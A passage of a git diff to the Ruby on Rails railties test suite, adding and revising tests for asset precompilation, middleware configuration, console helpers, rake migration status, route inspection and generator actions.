+ assert_equal "NoPost;\n", File.read("#{app_path}/public/assets/application.js")
+ end
+
+ test "enhancements to assets:precompile should only run once" do
+ app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }"
+ output = precompile!
+ assert_equal 1, output.scan("enhancement").size
+ end
+
+ test "digested assets are not mistakenly removed" do
+ app_file "app/assets/application.js", "alert();"
+ add_to_config "config.assets.compile = true"
+ add_to_config "config.assets.digest = true"
+
+ quietly do
+ Dir.chdir(app_path){ `bundle exec rake assets:clean assets:precompile` }
+ end
+
+ files = Dir["#{app_path}/public/assets/application-*.js"]
+ assert_equal 1, files.length, "Expected digested application.js asset to be generated, but none found"
+ end
+
+ test "digested assets are removed from configured path" do
+ app_file "public/production_assets/application.js", "alert();"
+ add_to_env_config "production", "config.assets.prefix = 'production_assets'"
+
+ ENV["RAILS_ENV"] = nil
+ quietly do
+ Dir.chdir(app_path){ `bundle exec rake assets:clean` }
+ end
+
+ files = Dir["#{app_path}/public/production_assets/application.js"]
+ assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists"
+ end
+
+ test "asset urls should use the request's protocol by default" do
+ app_with_assets_in_view
+ add_to_config "config.asset_host = 'example.com'"
+ require "#{app_path}/config/environment"
+ class ::PostsController < ActionController::Base; end
+
+ get '/posts', {}, {'HTTPS'=>'off'}
+ assert_match('src="http://example.com/assets/application.js', last_response.body)
+ get '/posts', {}, {'HTTPS'=>'on'}
+ assert_match('src="https://example.com/assets/application.js', last_response.body)
+ end
+
+ test "asset urls should be protocol-relative if no request is in scope" do
+ app_file "app/assets/javascripts/image_loader.js.erb", 'var src="<%= image_path("rails.png") %>";'
+ add_to_config "config.assets.precompile = %w{image_loader.js}"
+ add_to_config "config.asset_host = 'example.com'"
+ precompile!
+
+ assert_match 'src="//example.com/assets/rails.png"', File.read("#{app_path}/public/assets/image_loader.js")
+ end
+
+
+ private
+
+ def app_with_assets_in_view
+ app_file "app/assets/javascripts/application.js", "//= require_tree ."
+ app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }"
+ app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ match '/posts', :to => "posts#index"
+ end
+ RUBY
+ end
end
end
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index 448982f9de..28ffff58ca 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -306,7 +306,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require "mail"
- ActionMailer::Base
+ _ = ActionMailer::Base
assert_equal [::MyMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors")
end
@@ -319,7 +319,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require "mail"
- ActionMailer::Base
+ _ = ActionMailer::Base
assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors")
end
@@ -332,7 +332,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require "mail"
- ActionMailer::Base
+ _ = ActionMailer::Base
assert_equal [::MyMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers")
end
@@ -345,7 +345,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require "mail"
- ActionMailer::Base
+ _ = ActionMailer::Base
assert_equal [::MyMailObserver, ::MyOtherMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers")
end
@@ -476,7 +476,7 @@ module ApplicationTests
app_file 'app/controllers/posts_controller.rb', <<-RUBY
class PostsController < ApplicationController
- def index
+ def create
render :text => params[:post].inspect
end
end
@@ -521,9 +521,11 @@ module ApplicationTests
make_basic_app
assert_respond_to app, :env_config
- assert_equal app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters
- assert_equal app.env_config['action_dispatch.secret_token'], app.config.secret_token
- assert_equal app.env_config['action_dispatch.show_exceptions'], app.config.action_dispatch.show_exceptions
+ assert_equal app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters
+ assert_equal app.env_config['action_dispatch.secret_token'], app.config.secret_token
+ assert_equal app.env_config['action_dispatch.show_exceptions'], app.config.action_dispatch.show_exceptions
+ assert_equal app.env_config['action_dispatch.logger'], Rails.logger
+ assert_equal app.env_config['action_dispatch.backtrace_cleaner'], Rails.backtrace_cleaner
end
end
end
diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb
index 1528d5dd87..2073c780bf 100644
--- a/railties/test/application/console_test.rb
+++ b/railties/test/application/console_test.rb
@@ -18,16 +18,20 @@ class ConsoleTest < Test::Unit::TestCase
Rails.application.load_console
end
+ def irb_context
+ Object.new.extend(Rails::ConsoleMethods)
+ end
+
def test_app_method_should_return_integration_session
TestHelpers::Rack.send :remove_method, :app
load_environment
- console_session = app
+ console_session = irb_context.app
assert_instance_of ActionDispatch::Integration::Session, console_session
end
def test_new_session_should_return_integration_session
load_environment
- session = new_session
+ session = irb_context.new_session
assert_instance_of ActionDispatch::Integration::Session, session
end
@@ -41,7 +45,7 @@ class ConsoleTest < Test::Unit::TestCase
ActionDispatch::Reloader.to_prepare { c = 3 }
# Hide Reloading... output
- silence_stream(STDOUT) { reload! }
+ silence_stream(STDOUT) { irb_context.reload! }
assert_equal 1, a
assert_equal 2, b
@@ -66,12 +70,13 @@ class ConsoleTest < Test::Unit::TestCase
MODEL
assert !User.new.respond_to?(:age)
- silence_stream(STDOUT) { reload! }
+ silence_stream(STDOUT) { irb_context.reload! }
assert User.new.respond_to?(:age)
end
def test_access_to_helpers
load_environment
+ helper = irb_context.helper
assert_not_nil helper
assert_instance_of ActionView::Base, helper
assert_equal 'Once upon a time in a world...',
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
index e656ada3c0..050a2161ae 100644
--- a/railties/test/application/middleware/cache_test.rb
+++ b/railties/test/application/middleware/cache_test.rb
@@ -31,6 +31,10 @@ module ApplicationTests
$last_modified ||= Time.now.utc
render_conditionally(:last_modified => $last_modified)
end
+
+ def keeps_if_modified_since
+ render :text => request.headers['If-Modified-Since']
+ end
private
def render_conditionally(headers)
if stale?(headers.merge(:public => !params[:private]))
@@ -47,6 +51,16 @@ module ApplicationTests
RUBY
end
+ def test_cache_keeps_if_modified_since
+ simple_controller
+ expected = "Wed, 30 May 1984 19:43:31 GMT"
+
+ get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected
+
+ assert_equal 200, last_response.status
+ assert_equal expected, last_response.body, "cache should have kept If-Modified-Since"
+ end
+
def test_cache_is_disabled_in_dev_mode
simple_controller
app("development")
diff --git a/railties/test/application/middleware/cookies_test.rb b/railties/test/application/middleware/cookies_test.rb
new file mode 100644
index 0000000000..13556cbed2
--- /dev/null
+++ b/railties/test/application/middleware/cookies_test.rb
@@ -0,0 +1,47 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class CookiesTest < Test::Unit::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def new_app
+ File.expand_path("#{app_path}/../new_app")
+ end
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ FileUtils.rm_rf(new_app) if File.directory?(new_app)
+ end
+
+ test 'always_write_cookie is true by default in development' do
+ require 'rails'
+ Rails.env = 'development'
+ require "#{app_path}/config/environment"
+ assert_equal true, ActionDispatch::Cookies::CookieJar.always_write_cookie
+ end
+
+ test 'always_write_cookie is false by default in production' do
+ require 'rails'
+ Rails.env = 'production'
+ require "#{app_path}/config/environment"
+ assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+ end
+
+ test 'always_write_cookie can be overrided' do
+ add_to_config <<-RUBY
+ config.action_dispatch.always_write_cookie = false
+ RUBY
+
+ require 'rails'
+ Rails.env = 'development'
+ require "#{app_path}/config/environment"
+ assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+ end
+ end
+end
diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb
index c7a1c573f9..d2ad2668bb 100644
--- a/railties/test/application/middleware/sendfile_test.rb
+++ b/railties/test/application/middleware/sendfile_test.rb
@@ -27,11 +27,12 @@ module ApplicationTests
end
# x_sendfile_header middleware
- test "config.action_dispatch.x_sendfile_header defaults to ''" do
+ test "config.action_dispatch.x_sendfile_header defaults to nil" do
make_basic_app
simple_controller
get "/"
+ assert !last_response.headers["X-Sendfile"]
assert_equal File.read(__FILE__), last_response.body
end
diff --git a/railties/test/application/middleware/show_exceptions_test.rb b/railties/test/application/middleware/show_exceptions_test.rb
index e3f27f63c3..7dbadc6ce3 100644
--- a/railties/test/application/middleware/show_exceptions_test.rb
+++ b/railties/test/application/middleware/show_exceptions_test.rb
@@ -1,27 +1,23 @@
+# encoding: utf-8
require 'isolation/abstract_unit'
+require 'rack/test'
module ApplicationTests
class ShowExceptionsTest < Test::Unit::TestCase
include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
def setup
build_app
boot_rails
- FileUtils.rm_rf "#{app_path}/config/environments"
end
def teardown
teardown_app
end
- def app
- @app ||= Rails.application
- end
-
test "unspecified route when set action_dispatch.show_exceptions to false" do
- make_basic_app do |app|
- app.config.action_dispatch.show_exceptions = false
- end
+ app.config.action_dispatch.show_exceptions = false
assert_raise(ActionController::RoutingError) do
get '/foo'
@@ -29,13 +25,36 @@ module ApplicationTests
end
test "unspecified route when set action_dispatch.show_exceptions to true" do
- make_basic_app do |app|
- app.config.action_dispatch.show_exceptions = true
- end
+ app.config.action_dispatch.show_exceptions = true
assert_nothing_raised(ActionController::RoutingError) do
get '/foo'
end
end
+
+ test "displays diagnostics message when exception raised in template that contains UTF-8" do
+ app.config.action_dispatch.show_exceptions = true
+
+ controller :foo, <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ end
+ end
+ RUBY
+
+ app_file 'app/views/foo/index.html.erb', <<-ERB
+ <% raise 'boooom' %>
+ ✓
+ ERB
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ match ':controller(/:action)'
+ end
+ RUBY
+
+ post '/foo', :utf8 => '✓'
+ assert_match(/boooom/, last_response.body)
+ end
end
end
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index bed5ba503f..4703a59326 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -30,6 +30,7 @@ module ApplicationTests
"ActiveSupport::Cache::Strategy::LocalCache",
"Rack::Runtime",
"Rack::MethodOverride",
+ "ActionDispatch::RequestId",
"Rails::Rack::Logger", # must come after Rack::MethodOverride to properly log overridden methods
"ActionDispatch::ShowExceptions",
"ActionDispatch::RemoteIp",
@@ -69,6 +70,14 @@ module ApplicationTests
assert middleware.include?("Rack::SSL")
end
+ test "Rack::SSL is configured with options when given" do
+ add_to_config "config.force_ssl = true"
+ add_to_config "config.ssl_options = { :host => 'example.com' }"
+ boot!
+
+ assert_equal AppTemplate::Application.middleware.first.args, [{:host => 'example.com'}]
+ end
+
test "removing Active Record omits its middleware" do
use_frameworks []
boot!
diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb
index 8b2b2f1802..387eb25525 100644
--- a/railties/test/application/rack/logger_test.rb
+++ b/railties/test/application/rack/logger_test.rb
@@ -12,6 +12,8 @@ module ApplicationTests
build_app
require "#{app_path}/config/environment"
super
+ @logger = MockLogger.new
+ Rails.stubs(:logger).returns(@logger)
end
def teardown
diff --git a/railties/test/application/rackup_test.rb b/railties/test/application/rackup_test.rb
index ff9cdcadc7..86e1995def 100644
--- a/railties/test/application/rackup_test.rb
+++ b/railties/test/application/rackup_test.rb
@@ -6,7 +6,7 @@ module ApplicationTests
def rackup
require "rack"
- app, options = Rack::Builder.parse_file("#{app_path}/config.ru")
+ app, _ = Rack::Builder.parse_file("#{app_path}/config.ru")
app
end
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index cc65a674c9..c76bc3d526 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -1,3 +1,4 @@
+# coding:utf-8
require "isolation/abstract_unit"
module ApplicationTests
@@ -79,13 +80,13 @@ module ApplicationTests
silence_stderr do
output = Dir.chdir(app_path){ `rake test` }
- assert_match /Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output
- assert_match /Errors running test:functionals! #<RuntimeError/, output
- assert_match /Errors running test:integration! #<RuntimeError/, output
+ assert_match(/Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output)
+ assert_match(/Errors running test:functionals! #<RuntimeError/, output)
+ assert_match(/Errors running test:integration! #<RuntimeError/, output)
end
end
- def test_rake_routes_output_strips_anchors_from_http_verbs
+ def test_rake_routes_calls_the_route_inspector
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
get '/cart', :to => 'cart#show'
@@ -94,99 +95,6 @@ module ApplicationTests
assert_equal "cart GET /cart(.:format) cart#show\n", Dir.chdir(app_path){ `rake routes` }
end
- def test_rake_routes_shows_custom_assets
- app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
- get '/custom/assets', :to => 'custom_assets#show'
- end
- RUBY
- assert_equal "custom_assets GET /custom/assets(.:format) custom_assets#show\n",
- Dir.chdir(app_path){ `rake routes` }
- end
-
- def test_rake_routes_shows_resources_route
- app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
- resources :articles
- end
- RUBY
- expected =
- " articles GET /articles(.:format) articles#index\n" <<
- " POST /articles(.:format) articles#create\n" <<
- " new_article GET /articles/new(.:format) articles#new\n" <<
- "edit_article GET /articles/:id/edit(.:format) articles#edit\n" <<
- " article GET /articles/:id(.:format) articles#show\n" <<
- " PUT /articles/:id(.:format) articles#update\n" <<
- " DELETE /articles/:id(.:format) articles#destroy\n"
- assert_equal expected, Dir.chdir(app_path){ `rake routes` }
- end
-
- def test_rake_routes_shows_root_route
- app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
- root :to => 'pages#main'
- end
- RUBY
- assert_equal "root / pages#main\n", Dir.chdir(app_path){ `rake routes` }
- end
-
- def test_rake_routes_shows_controller_and_action_only_route
- app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
- match ':controller/:action'
- end
- RUBY
- assert_equal " /:controller/:action(.:format) \n", Dir.chdir(app_path){ `rake routes` }
- end
-
- def test_rake_routes_shows_controller_and_action_route_with_constraints
- app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
- match ':controller(/:action(/:id))', :id => /\\d+/
- end
- RUBY
- assert_equal " /:controller(/:action(/:id))(.:format) {:id=>/\\d+/}\n", Dir.chdir(app_path){ `rake routes` }
- end
-
- def test_rake_routes_shows_route_with_defaults
- app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
- match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'}
- end
- RUBY
- assert_equal %Q[ /photos/:id(.:format) photos#show {:format=>"jpg"}\n], Dir.chdir(app_path){ `rake routes` }
- end
-
- def test_rake_routes_shows_route_with_constraints
- app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
- match 'photos/:id' => 'photos#show', :id => /[A-Z]\\d{5}/
- end
- RUBY
- assert_equal " /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}\n", Dir.chdir(app_path){ `rake routes` }
- end
-
- def test_rake_routes_shows_route_with_rack_app
- app_file "lib/rack_app.rb", <<-RUBY
- class RackApp
- class << self
- def call(env)
- end
- end
- end
- RUBY
-
- app_file "config/routes.rb", <<-RUBY
- require 'rack_app'
-
- AppTemplate::Application.routes.draw do
- match 'foo/:id' => RackApp, :id => /[A-Z]\\d{5}/
- end
- RUBY
-
- assert_equal " /foo/:id(.:format) RackApp {:id=>/[A-Z]\\d{5}/}\n", Dir.chdir(app_path){ `rake routes` }
- end
-
def test_logger_is_flushed_when_exiting_production_rake_tasks
add_to_config <<-RUBY
rake_tasks do
@@ -219,6 +127,55 @@ module ApplicationTests
assert_match(/AddEmailToUsers: reverted/, output)
end
+ def test_migration_status_when_schema_migrations_table_is_not_present
+ output = Dir.chdir(app_path){ `rake db:migrate:status` }
+ assert_equal "Schema migrations table does not exist yet.\n", output
+ end
+
+ def test_migration_status
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string`
+ `rails generate migration add_email_to_users email:string`
+ end
+
+ Dir.chdir(app_path) { `rake db:migrate`}
+ output = Dir.chdir(app_path) { `rake db:migrate:status` }
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+ Dir.chdir(app_path) { `rake db:rollback STEP=1` }
+ output = Dir.chdir(app_path) { `rake db:migrate:status` }
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/down\s+\d{14}\s+Add email to users/, output)
+ end
+
+ def test_migration_status_after_rollback_and_redo
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string`
+ `rails generate migration add_email_to_users email:string`
+ end
+
+ Dir.chdir(app_path) { `rake db:migrate`}
+ output = Dir.chdir(app_path) { `rake db:migrate:status` }
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+ Dir.chdir(app_path) { `rake db:rollback STEP=2` }
+ output = Dir.chdir(app_path) { `rake db:migrate:status` }
+
+ assert_match(/down\s+\d{14}\s+Create users/, output)
+ assert_match(/down\s+\d{14}\s+Add email to users/, output)
+
+ Dir.chdir(app_path) { `rake db:migrate:redo` }
+ output = Dir.chdir(app_path) { `rake db:migrate:status` }
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+Add email to users/, output)
+ end
+
def test_loading_specific_fixtures
Dir.chdir(app_path) do
`rails generate model user username:string password:string`
@@ -245,4 +202,4 @@ module ApplicationTests
assert_match(/7 tests, 10 assertions, 0 failures, 0 errors/, content)
end
end
-end \ No newline at end of file
+end
diff --git a/railties/test/application/route_inspect_test.rb b/railties/test/application/route_inspect_test.rb
new file mode 100644
index 0000000000..2ad5ee6c4c
--- /dev/null
+++ b/railties/test/application/route_inspect_test.rb
@@ -0,0 +1,131 @@
+require 'test/unit'
+require 'rails/application/route_inspector'
+require 'action_controller'
+require 'rails/engine'
+
+module ApplicationTests
+ class RouteInspectTest < Test::Unit::TestCase
+ def setup
+ @set = ActionDispatch::Routing::RouteSet.new
+ @inspector = Rails::Application::RouteInspector.new
+ end
+
+ def test_displaying_routes_for_engines
+ engine = Class.new(Rails::Engine) do
+ def self.to_s
+ "Blog::Engine"
+ end
+ end
+ engine.routes.draw do
+ get '/cart', :to => 'cart#show'
+ end
+
+ @set.draw do
+ get '/custom/assets', :to => 'custom_assets#show'
+ mount engine => "/blog", :as => "blog"
+ end
+
+ output = @inspector.format @set.routes
+ expected = [
+ "custom_assets GET /custom/assets(.:format) custom_assets#show",
+ " blog /blog Blog::Engine",
+ "\nRoutes for Blog::Engine:",
+ "cart GET /cart(.:format) cart#show"
+ ]
+ assert_equal expected, output
+ end
+
+ def test_cart_inspect
+ @set.draw do
+ get '/cart', :to => 'cart#show'
+ end
+ output = @inspector.format @set.routes
+ assert_equal ["cart GET /cart(.:format) cart#show"], output
+ end
+
+ def test_inspect_shows_custom_assets
+ @set.draw do
+ get '/custom/assets', :to => 'custom_assets#show'
+ end
+ output = @inspector.format @set.routes
+ assert_equal ["custom_assets GET /custom/assets(.:format) custom_assets#show"], output
+ end
+
+ def test_inspect_routes_shows_resources_route
+ @set.draw do
+ resources :articles
+ end
+ output = @inspector.format @set.routes
+ expected = [
+ " articles GET /articles(.:format) articles#index",
+ " POST /articles(.:format) articles#create",
+ " new_article GET /articles/new(.:format) articles#new",
+ "edit_article GET /articles/:id/edit(.:format) articles#edit",
+ " article GET /articles/:id(.:format) articles#show",
+ " PUT /articles/:id(.:format) articles#update",
+ " DELETE /articles/:id(.:format) articles#destroy" ]
+ assert_equal expected, output
+ end
+
+ def test_inspect_routes_shows_root_route
+ @set.draw do
+ root :to => 'pages#main'
+ end
+ output = @inspector.format @set.routes
+ assert_equal ["root / pages#main"], output
+ end
+
+ def test_inspect_routes_shows_dynamic_action_route
+ @set.draw do
+ match 'api/:action' => 'api'
+ end
+ output = @inspector.format @set.routes
+ assert_equal [" /api/:action(.:format) api#:action"], output
+ end
+
+ def test_inspect_routes_shows_controller_and_action_only_route
+ @set.draw do
+ match ':controller/:action'
+ end
+ output = @inspector.format @set.routes
+ assert_equal [" /:controller/:action(.:format) :controller#:action"], output
+ end
+
+ def test_inspect_routes_shows_controller_and_action_route_with_constraints
+ @set.draw do
+ match ':controller(/:action(/:id))', :id => /\d+/
+ end
+ output = @inspector.format @set.routes
+ assert_equal [" /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"], output
+ end
+
+ def test_rake_routes_shows_route_with_defaults
+ @set.draw do
+ match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'}
+ end
+ output = @inspector.format @set.routes
+ assert_equal [%Q[ /photos/:id(.:format) photos#show {:format=>"jpg"}]], output
+ end
+
+ def test_rake_routes_shows_route_with_constraints
+ @set.draw do
+ match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
+ end
+ output = @inspector.format @set.routes
+ assert_equal [" /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output
+ end
+
+ class RackApp
+ def self.call(env)
+ end
+ end
+
+ def test_rake_routes_shows_route_with_rack_app
+ @set.draw do
+ match 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/
+ end
+ output = @inspector.format @set.routes
+ assert_equal [" /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output
+ end
+ end
+end
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
index 3adf0ccd3e..a05e39658d 100644
--- a/railties/test/application/routing_test.rb
+++ b/railties/test/application/routing_test.rb
@@ -141,7 +141,7 @@ module ApplicationTests
test "routes appending blocks" do
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match ':controller#:action'
+ match ':controller/:action'
end
RUBY
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
index 27a7959e84..a06facc04b 100644
--- a/railties/test/application/test_test.rb
+++ b/railties/test/application/test_test.rb
@@ -24,7 +24,7 @@ module ApplicationTests
end
RUBY
- run_test 'unit/foo_test.rb'
+ run_test_file 'unit/foo_test.rb'
end
# Run just in Ruby < 1.9
@@ -40,7 +40,7 @@ module ApplicationTests
end
RUBY
- run_test 'unit/backtrace_test.rb'
+ run_test_file 'unit/backtrace_test.rb'
end
end
@@ -66,7 +66,7 @@ module ApplicationTests
end
RUBY
- run_test 'integration/posts_test.rb'
+ run_test_file 'integration/posts_test.rb'
end
test "performance test" do
@@ -91,11 +91,11 @@ module ApplicationTests
end
RUBY
- run_test 'performance/posts_test.rb'
+ run_test_file 'performance/posts_test.rb'
end
private
- def run_test(name)
+ def run_test_file(name)
result = ruby '-Itest', "#{app_path}/test/#{name}"
assert_equal 0, $?.to_i, result
end
diff --git a/railties/test/fixtures/lib/generators/usage_template/USAGE b/railties/test/fixtures/lib/generators/usage_template/USAGE
new file mode 100644
index 0000000000..bcd63c52e2
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/usage_template/USAGE
@@ -0,0 +1 @@
+:: <%= 1 + 1 %> :: \ No newline at end of file
diff --git a/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
new file mode 100644
index 0000000000..078b0f9412
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
@@ -0,0 +1,5 @@
+require 'rails/generators'
+
+class UsageTemplateGenerator < Rails::Generators::Base
+ source_root File.expand_path("templates", File.dirname(__FILE__))
+end
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
index e4a8000425..c1fd6a38f1 100644
--- a/railties/test/generators/actions_test.rb
+++ b/railties/test/generators/actions_test.rb
@@ -95,18 +95,34 @@ class ActionsTest < Rails::Generators::TestCase
def test_gem_should_insert_on_separate_lines
run_generator
+ File.open('Gemfile', 'a') {|f| f.write('# Some content...') }
+
action :gem, 'rspec'
action :gem, 'rspec-rails'
- assert_file 'Gemfile', /gem "rspec"$/
- assert_file 'Gemfile', /gem "rspec-rails"$/
+ assert_file 'Gemfile', /^gem "rspec"$/
+ assert_file 'Gemfile', /^gem "rspec-rails"$/
+ end
+
+ def test_gem_group_should_wrap_gems_in_a_group
+ run_generator
+
+ action :gem_group, :development, :test do
+ gem 'rspec-rails'
+ end
+
+ action :gem_group, :test do
+ gem 'fakeweb'
+ end
+
+ assert_file 'Gemfile', /\ngroup :development, :test do\n gem "rspec-rails"\nend\n\ngroup :test do\n gem "fakeweb"\nend/
end
def test_environment_should_include_data_in_environment_initializer_block
run_generator
autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]'
action :environment, autoload_paths
- assert_file 'config/application.rb', /#{Regexp.escape(autoload_paths)}/
+ assert_file 'config/application.rb', / class Application < Rails::Application\n #{Regexp.escape(autoload_paths)}/
end
def test_environment_should_include_data_in_environment_initializer_block_with_env_option
@@ -165,9 +181,12 @@ class ActionsTest < Rails::Generators::TestCase
action :generate, 'model', 'MyModel'
end
- def test_rake_should_run_rake_command_with_development_env
- generator.expects(:run).once.with('rake log:clear RAILS_ENV=development', :verbose => false)
+ def test_rake_should_run_rake_command_with_default_env
+ generator.expects(:run).once.with("rake log:clear RAILS_ENV=development", :verbose => false)
+ old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil
action :rake, 'log:clear'
+ ensure
+ ENV["RAILS_ENV"] = old_env
end
def test_rake_with_env_option_should_run_rake_command_in_env
@@ -175,9 +194,28 @@ class ActionsTest < Rails::Generators::TestCase
action :rake, 'log:clear', :env => 'production'
end
+ def test_rake_with_rails_env_variable_should_run_rake_command_in_env
+ generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false)
+ old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "production"
+ action :rake, 'log:clear'
+ ensure
+ ENV["RAILS_ENV"] = old_env
+ end
+
+ def test_env_option_should_win_over_rails_env_variable_when_running_rake
+ generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false)
+ old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "staging"
+ action :rake, 'log:clear', :env => 'production'
+ ensure
+ ENV["RAILS_ENV"] = old_env
+ end
+
def test_rake_with_sudo_option_should_run_rake_command_with_sudo
- generator.expects(:run).once.with('sudo rake log:clear RAILS_ENV=development', :verbose => false)
+ generator.expects(:run).once.with("sudo rake log:clear RAILS_ENV=development", :verbose => false)
+ old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil
action :rake, 'log:clear', :sudo => true
+ ensure
+ ENV["RAILS_ENV"] = old_env
end
def test_capify_should_run_the_capify_command
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index fb7ebaa1fa..235c08e38e 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -55,6 +55,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_file "app/views/layouts/application.html.erb", /javascript_include_tag\s+"application"/
assert_file "app/assets/stylesheets/application.css"
assert_file "config/application.rb", /config\.assets\.enabled = true/
+ assert_file "public/index.html", /url\("assets\/rails.png"\);/
end
def test_invalid_application_name_raises_an_error
@@ -143,6 +144,16 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
end
+ def test_config_postgresql_database
+ run_generator([destination_root, "-d", "postgresql"])
+ assert_file "config/database.yml", /postgresql/
+ unless defined?(JRUBY_VERSION)
+ assert_file "Gemfile", /^gem\s+["']pg["']$/
+ else
+ assert_file "Gemfile", /^gem\s+["']activerecord-jdbcpostgresql-adapter["']$/
+ end
+ end
+
def test_config_jdbcmysql_database
run_generator([destination_root, "-d", "jdbcmysql"])
assert_file "config/database.yml", /mysql/
@@ -189,7 +200,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_file "test/performance/browsing_test.rb"
end
- def test_generator_if_skip_active_record_is_given
+ def test_generator_if_skip_sprockets_is_given
run_generator [destination_root, "--skip-sprockets"]
assert_file "config/application.rb" do |content|
assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
@@ -198,11 +209,28 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_file "test/performance/browsing_test.rb"
end
+ def test_inclusion_of_therubyrhino_under_jruby
+ if defined?(JRUBY_VERSION)
+ run_generator([destination_root])
+ assert_file "Gemfile", /gem\s+["']therubyrhino["']$/
+ end
+ end
+
def test_creation_of_a_test_directory
run_generator
assert_file 'test'
end
+ def test_creation_of_vendor_assets_javascripts_directory
+ run_generator
+ assert_file "vendor/assets/javascripts"
+ end
+
+ def test_creation_of_vendor_assets_stylesheets_directory
+ run_generator
+ assert_file "vendor/assets/stylesheets"
+ end
+
def test_jquery_is_the_default_javascript_library
run_generator
assert_file "app/assets/javascripts/application.js" do |contents|
@@ -232,21 +260,6 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
end
- def test_inclusion_of_turn_gem_in_gemfile
- run_generator
- assert_file "Gemfile" do |contents|
- assert_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2'
- assert_no_match(/gem 'turn'/, contents) if RUBY_VERSION < '1.9.2'
- end
